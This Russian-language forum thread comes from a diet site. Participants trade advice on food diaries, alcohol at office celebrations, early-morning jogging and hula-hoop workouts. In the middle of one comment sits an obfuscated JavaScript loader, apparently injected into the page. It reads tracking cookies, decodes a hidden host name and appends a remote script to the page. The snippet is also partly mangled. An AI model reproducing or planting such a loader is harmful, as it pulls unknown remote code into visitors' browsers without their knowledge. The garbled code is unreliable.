Дневник питания и тренировок за 21.08.2015

Дмитрий, кефирным днем
за общим столом не взвесишь, все на глазок, а глазомер не в балансе. Буду стараться овощи на тарелку класть, но др у коллеги, который считает своим священным долгом меня напоить водкой и накормить мясом.

такие дни в нашей жизни не избежны. тут уж ничего не поделать. потом в течение нескольких дней увеличить себе нагрузки, чтобы расходовать съеденные излишки каллорий. только не так, что заниматься до потемнения в глазах, лучше дольше, но в нормальном режиме.

Марина Макарова, я ленивица и занимаюсь только мышкодвигательством. Хотя вдруг мне повезет и в субботу поеду кататься на велосипеде.

Я так понимаю варианта не пить спиртного у вас нет?
 

Ирина Константинова, увы. Я пью красное сухое обычно. Это немного утешает. Но состояние на утро.. И выпить мало сложно, т.к. застолье долгое, часов с 18 до часов 23. Уйти раньше можно, но мы с ним вместе начинали работать, когда я пришла на офис. Плюс он всегда внимателен и вежлив ко мне. Морально сложно, я понимаю, что это все где-то отговорки. Потребность в коллективной индификации перевешивает потребность в правильном питании.

Ini J, беда. Я такое не понимаю, пить спиртное только потому что якобы надо... пить и знать, что это плохо...  вообще не понятно.

Ирина Константинова, жизнь полна странных, непохожих на нас людей. Я написала в конце почему буду оставаться несмотря на все минусы пьянки.

Алеся Петрова, как скажите, отменяю все страдания, оставляю удовольствия.  

думаете, только вы так ленивы? мне приходится вставать в 4 утра и бегать с фонариком 20 минут, а потом еще обруч под одну серию индийского сериала на компе. это еще 20 минут. ну и приседания, когда могу и никто не видит по одному заходу 10 приседаний. в день можно до 100 дойти. это ведь не так уж и сложно просто присесть 10 раз. так что, если не хотите бегать - обруч вам в руки или не талию 

Марина Макарова, я думаю, что вы большая молодец, если способны на такие подвиги! Ура-ура вам.

Ini J, Марафонка, просто в 6 выходить на транспорт, пока побегаю, обруч, приседания, иногда скакалка, душ, завтрак, и т.д. и т.п. - у меня просто нет другого выбора. а вечером не хочу  - живу в военном городке, где меня каждая собака знает, зачем светиться. Сериал (не фильм) "Мадхубала" он на субтитрах. озвучки нет. только Казахстан озвучивает, но я языка не знаю. да и так интереснее - интонации и эмоции актеров.... Смотрела порядка 5 сериалов, но рекомендую именно этот.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Марина Макарова, хорошо, что вам это просто. 
ссылка кривая стала. 

Погуляйте хорошо, и мяса поешьте и выпейте. Организму надо давать расслабляться иногда )) 

Наталья,  :k:

А почему вы желаете вино, а не пиво. Из-за личных пристрастий или энергетической ценности? Исходя из данных МЗР вино калорийнее пива примерно в 2 раза.

Ирина Константинова, потому что я желаю вино. потому что это наша традиция с коллежкой-подругой. наш ритуал.
Пива не было, кстати. Вино, коньяк, водка и ракия. 

Марафонка, возможно, я не в курсе. А чего, в понедельник нельзя такие темы заводить? Буду знать.

А у нас завтра , то же голову домаю))))))

это моя опера выделывается. Мадхубала - это не фильм. это сериал. а муж у меня не хочет заниматься, хотия ему в следующем году сдавать физическую подготовку, но, когда я предложила бегать по утрам вместе - посмотрел, как на больную и сказал, что лучше поспит. 

 

Ирина Барковская написал:
Я слышала коньяк с лимоном даже полезно для похудения. Сама не пробывала, утверждать не берусь. Слышала от спортсмена.

Я то же слышала  Анна Куркурина так сушится перед соревнованиями.

Ирина Барковская, сомнительно в похудении коньяк. Вот честно. Не сильно калорийный - возможно, не проверяла.

Наталья, я просто считала все что попадало в мою тарелку и представляла график мзр. Помогло не сильно, но лучше, чем ничего. Например я не ела оливье.